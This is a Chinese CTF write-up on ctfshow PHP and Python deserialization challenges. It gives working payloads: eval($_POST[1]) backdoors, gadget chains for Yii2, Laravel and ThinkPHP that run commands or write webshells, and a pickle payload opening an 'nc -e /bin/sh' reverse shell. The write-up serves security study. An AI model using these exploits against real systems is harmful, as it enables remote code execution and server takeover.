web254
源码
这里没有魔术方法,因为魔术方法是下划线开头的 ——> __toString() 类似这种
payload
1
| /?username=xxxxxx&password=xxxxxx
|
没用到反序列化的东西。
web255
源码
这里用到了反序列的语句了,但魔术方法还是没有用到。
这题和上一题的不同是false无法自动变成true了,那么我们就得手动去变。
payload
1
| O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
|
获取脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=true;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
echo urlencode(serialize(new ctfShowUser()));
|
这里面的话函数可以删去,这里也可以不用urlencode,用的原因是protected private会产生不可见字符,如果用的话,就不管啥情况都可以过了。就不用担心不可见字符了。
web256
源码
这里的话涉及到username和password的问题,既要相等又要不等,那么我们在反序列处是可以控制类里面的参数的值的
payload
1
| O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
|
获取脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
class ctfShowUser{ public $username='1'; public $password='2'; public $isVip=true;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } }
echo urlencode(serialize(new ctfShowUser()));
|
web257
源码
这里终于遇到了反序列化函数了
这里介绍一下construct和destruct函数,学过c++语言的应该都知道这两个函数
construct —> 就是在new 一个新的对象的时候会自动运行的函数,如果class类中没有的话,系统就会自己新创一个,但里面没有任何东西。
destruct —> 就是在一个类运行结束的时候,会自动运行的函数。
就是先输出a,在输出b.
回到这道题
这里把__construct 函数里的info改成backDoor,因为在new一个ctfShowUser的新对象时,会自动执行construct函数。就会new一个backDoor的新对象,然后ctfShowUser类结束的时候会自动执行destruct函数,然后就会调用到backDoor类里边的getInfo函数,里面的函数有一个命令执行,然后就利用这一点进行rce了。
payload
1
| O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D
|
修改后的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info';
public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ private $code='eval($_POST[1]);'; public function getInfo(){ eval($this->code); } }
echo urlencode(serialize(new ctfShowUser));
|
然后自己进行rce就行。
web258
源码
1
| if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))
|
可以看对序列化的字符串进行了过滤,其实主要过滤的就是禁止Object
类型被反序列化。虽然这样看起是没有问题的,但是由于PHP的一个BUG,导致仍然可以被绕过。只需要在对象长度前添加一个+
号,即o:14->o:+14
,这样就可以绕过正则匹配。
这个漏洞是php5.6.24版本才进行修复.
修复后—> /[oc]:[^:]*\d+:/i
这里的话用+已经不能绕过了。
第一步
(进行修改)
1
| O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:16:"eval($_POST[1]);";}}
|
第二步
(urlencode)
1
| O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D
|
修改后的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info';
public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ public $code='eval($_POST[1]);'; public function getInfo(){ eval($this->code); } }
$a='O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:16:"eval($_POST[1]);";}}'; echo urlencode($a);
|
然后进行rce就行了。
web259
源码
这道题利用的是序列化的ssrf性质
简介
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。通过CRLF来添加请求体:SoapClinet可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容。
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,采用了SOAP协议(SOAP是一种简单的基于XML的协议,它使应用程序通过HTTP来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会调用__call方法,具体详细信息,感兴趣的读者可以自行查阅,这里不进行赘述
CRLF是”回车 + 换行”(rn)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS
在多数CTF题目中,会将这两个知识点结合起来考察。
首先
我们创建对象的时候设置的参数‘uri’SOAPction,‘location’具体表现在POST和Host。 我们还可以控制参数User-Agent,通过创建对象的时候添加参数’user_agent’=>$u
Content-Type 和 Content-Length 也是我们可以控制的地方。
开始伪造http头
成功写入,那么就开始根据题目的要求来写入token.
根据题目要求写入的token和X-Forwarded-For
这里要求的Content-Length:13
是因为伪造的http头,只需要执行到token=ctfshow就行。token=ctfshow长度为13.
执行成功。
因为题目的服务器端口是80,所以我们得把9999给去掉。
拿到编码的东西后进行传参。
然后访问flag.txt就行了。
这道题主要就是通过ua来构造http头来绕过检测。
web260
源码
这个点就考察serialize,只要传的之里面有ctfshow_i_love_36D
就行了。
序列化后的结果。
payload
1
| ?ctfshow=ctfshow_i_love_36D
|
web261
源码
这里边用的全是魔术方法
php7.4版本以上的话这里面的话如果有__unserialize()魔术方法的话,会自动绕过 ,wakeup()魔术方法,php5.6版本以下的话,可以通过修改类里边的参数的数量来绕过wakeup方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
highlight_file(__FILE__);
class ctfshowvip{ public $username; public $password; public $code;
public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); }
public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } }
unserialize($_GET['vip']);
|
payload
那么这道题的话,只需要用两个魔法函数就行了,这里边的wakeup函数不用管了,因为就是题目的php版本是7.4以上的。invoke()函数也不用管了,因为就是没有触发的点.现在就是看sleep函数了,在serialize时就会触发,给username和password给赋值了。unserialize函数会传递从 __serialize() 返回的恢复数组,那么又会给username和password重新赋值了。因为code这里时弱类型比较,直接877.xxxxxxxx就可以绕过了。
然后去访问877.php去进行rce就行了。
web262(字符逃逸)
源码
先解释一下啥时字符逃逸
逃逸有一个特征就是对序列化后的字符进行一个替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
class user{ public $username; public $password; public $vip; public function __construct($u,$p) { $this->username=$u; $this->password=$p; $this->vip=0;
} } function filter($s) { return str_replace('admin','hacker',$s); } $u = new user('admin','123456'); $u_seri = serialize($u); $us = filter($u_seri); echo $us;
|
这里的话就会出现hacker的长度为5,那么r就逃逸出去了。
接下来我们想办法把vip变成1.
那我们要把vip变成1,且能进行逃逸的话,红线的””内的值要和外面的长度相等就能进行逃逸了。
因为我们的payload的长度时45,那么我们就得用45个admin来替换。因为我们的admin和hacker相差一个字符,那么45个字符的话,就可以把上图选中的payload给代替掉,那么我们就可以使其和引号里的值和外面的字符长度一样了 —> s:2:”xx” 就是类似这种。
刚好等于270,逃逸成功,vip也成功写入,当然了就是只看{}里面的内容,超出之后的东西系统不管了。
讲明白逃逸之后,回到本题。
成功逃逸有个字符,那么就跟上面讲解的逃逸的步骤一步一步来就可以解出来了。
payload一共有62个字符,那么我们就得去写62个fuck了,这里不知道原因的可以去上面看我写的解释。
刚刚好相等,然后进行base64编码后拿去提交。就可以拿到flag了。
解法二
修改一下token直接就可以进行反序列了。
paylaod
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
class message{ public $from; public $msg; public $to; public $token='admin'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } echo (base64_encode(serialize(new message('a','b','c'))));
|
web263
源码
web264
源码
message.php
这道题还是可以进行字符逃逸,只要进行序列化输出就行了,因为就是在index.php页面的时候已经会将序列化的值进行base64编码了,在message.php页面会只有代码进行base64解码和反序列化。
那么直接进行字符逃逸就行了,这里就不详细写了,因为web261已经详细写过了。
web265
源码
这里因为token是一个md5()随机数,是不可控的,那么可控的只有password,那么我们就得用到&,
在PHP 中引用的意思是:不同的名字访问同一个变量内容。
那么我们就可以利用这一点,来使password的值恒等于token的值。
paylaod
web266
源码
这里面多了个__toString()函数。
这个函数的作用是如果实例化一个类的话,并将这个对象进行输出的话,就是调用toString函数,没有的话就会报错。
(如果反序列后的字符串中含有ctfshow的话,将不会进行__destruct()函数的调用。
因为这里的话,最后的正则判断是不能有ctfshow这个词,但是没有 /i , 可以利用大写绕过。
payload
为什么可以直接写在post的原因是
php://input伪协议的作用。
解法二
类名不变,但是不能正常执行反序列化,因为{}里面的东西不对,那么直接就进行销毁,执行析构函数了。
web267(yii)
源码
登录框架是yii的,那么就可以找一下这个框架的漏洞。
利用admin/admin登录成功后,查看about这里的源码,发现这个注释。
输入view-source后出现这个。
然后就找个yii利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'phpinfo'; $this->id = '1'; } } }
namespace Faker{ use yii\rest\CreateAction;
class Generator{ protected $formatters;
public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } } }
namespace yii\db{ use Faker\Generator;
class BatchQueryResult{ private $_dataReader;
public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>
|
这个链是执行phpinfo()的,可以在__construct函数里边修改执行命令。
命令执行成功,说明链表可行。
然后就修改执行命令
这里有个小问题就是system是无回显的,那么可以写马或者利用别的函数来解。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'passthru'; $this->id = 'tac /flag'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); }
|
system 可以利用passthru替代。
https://blog.csdn.net/xuandao_ahfengren/article/details/111259943 yii框架漏洞解释
Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。
下次遇到直接拿现成的链来打就好了。
web268
源码
和web261一样都是yii漏洞的反序列化链利用。
显然这道题的话用不了上一题的payload了 ——> 就是把system替换成passthru
那我们就得换一个方法了
就是进行写码,那我们得找到当前目录的路径
(不是/var/www/html) 试过了。
那么我们就可以利用danslog.cn进行数据外带。
在web267中查出来的。
解码得到当前文件默认路径。
exp(以后遇到yii框架的题,可以拿来直接打就行了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php
namespace yii\rest { class Action { public $checkAccess; } class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } namespace { $exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php'); echo(base64_encode(serialize($exp))); } ?>
|
然后去访问1.php进行rce。
(下次遇到yii的题目的话,直接拿这个paylaod来打就行了)
和web268一样。
web270
源码
和web268一模一样。
web271
源码
这是一个Laravel的php框架,我们直接上网找链子打就行了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php
namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test;
public function __construct($command, $parameters,$class,$app) { $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } }
namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } }
namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings;
public function __construct($bind){ $this->bindings=$bind; } } }
namespace{ echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('tac /flag'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")))))); } ?>
|
到时候可以只在脚本里修改执行的命令就行了。
web272
源码
和上一题一样,都是Laravel框架
上题的paylaod用不了了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| <?php
namespace PhpParser\Node\Scalar\MagicConst{ class Line {} } namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code;
public function __construct($config, $code) { $this->config = $config; $this->code = $code; } } } namespace Mockery\Loader{ class EvalLoader{} } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Foundation\Console{ class QueuedCommand { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace{ $line = new PhpParser\Node\Scalar\MagicConst\Line(); $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php file_put_contents('/app/public/1.php','<?php eval(\$_POST[1]);?>');"); $evalloader = new Mockery\Loader\EvalLoader(); $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load')); $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand); echo urlencode(serialize($pendingbroadcast)); }
|
这里面为啥知道当前目录是/app/public/,可以用外带的方法,这里不用danlog了,用cookie.
修改一下这里,setcookie第一个参数是cookie的名字2,第二个参数是内容。
解码出来是/app/public
,那么就可以往这个路径里边进行写码了。
上面的exp直接用就行了。
这里加一个为什么要在木马里加转义字符的原因
\$
表示的是$这个是有特殊用途的,不是简单的表示钱的意思。因为是在字符串里写的,识别不了,所以得加个转义字符\
web273
源码
又是一道Laravel框架的题
用上一题的链子就可以了。
laravel用到的版本分别是 5.7和5.8的。
web274
源码
这次轮到thinkphp了。
发现反序列化入口,那么我们直接就上网去找payload就行了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->data = ['shell' => new Request()]; $this->append = ['shell' => []]; } } class Request{ protected $filter; protected $hook = []; protected $config = [ 'var_method' => '_method', 'var_ajax' => '_ajax', 'var_pjax' => '_pjax', 'var_pathinfo' => 's', 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], 'default_filter' => '', 'url_domain_root' => '', 'https_agent_name' => '', 'http_agent_ip' => 'HTTP_X_REAL_IP', 'url_html_suffix' => 'html', ]; function __construct(){ $this->filter = "system"; $this->config = ['var_pjax' => 'shell']; $this->hook = ['visible' => [$this,'isPjax']]; } } namespace think\process\pipes; use think\model\Pivot;
class Windows{ private $files = []; public function __construct(){ $this->files = [new Pivot()]; } }
namespace think\model; use think\Model;
class Pivot extends Model{ }
use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
|
GET shell 传参。
web275
源码
这题跟反序列话没啥太大关系,就是理清逻辑关系就可以成功拿到flag。
1 2 3 4
| public function __destruct(){ if($this->evilfile){ system('rm '.$this->filename); }
|
目的就是为了使evilfile为true,然后执行这个函数。
1 2 3 4 5 6 7 8 9 10
| if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; }
|
知道这些以后,就可以成功进行rce了。
1 2 3 4 5 6 7 8 9
| public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; }
|
只需要两个参数中含有对应的值就行了。
payload
web276(phar反序列化)
源码
web277(python反序列化)
题目
通过pickle判断出是python反序列化
这里python反序列化和php的反序列化差不多,但是python的反序列化比较简单,没有php那么花里胡哨的。
dumps()
是序列化的方法
loads()
是反序列化的方法
群主讲的wp
这里python反序列化的关键就是 __reduce
__魔法函数,就是利用这个函数来进行对反序列化的值进行操控,从而进行命令执行。
网上随便找的一个解释
python反序列化话的主要就是这个方法,没有像php那么花里胡哨得到
只要对第一和第二个参数进行控制就行
第一个参数 —-> 就是方法,例如system eval这种
第二个参数 ——> 就是内容,就是进行命令执行的内容
这要控制这两个方法的话,那么就是进行自己想要的命令执行了
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import pickle import os import base64
class CTFshow(): def sw(self): print(self.show) def __init__(self): self.show=show def __reduce__(self): return (eval,("__import__('os').popen('nc xxx.xxx.xxx.xxx port -e /bin/sh').read()",)) cs = CTFshow("test") ctfshow_ser=pickle.dumps(cs) print(base64.b64encode(ctfshow_ser))
|
因为题目无回显,所以反弹shell
这里话反弹shell有很多种方法,如果题目禁用这种的话,可以自己去google一下,网上挺多的
有些时候跑的payload不成功,可能是因为pvm认证的协议不一样,所以有时时候我们可以加上。
就像这样写
反弹shell后拿到flag
web278(python反序列化)
题目
题目提示过滤了 os.system
,这里话过滤是看序列化里有没有os.system
的,因为我们上一题用的是popen,并不是用的os.system,所以上一题的paylaod还是可以用的
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import pickle import os import base64
class CTFshow(): def sw(self): print(self.show) def __init__(self): self.show=show def __reduce__(self): return (eval,("__import__('os').popen('nc xxx.xxx.xxx.xxx port -e /bin/sh').read()",)) cs = CTFshow("test") ctfshow_ser=pickle.dumps(cs) print(base64.b64encode(ctfshow_ser))
|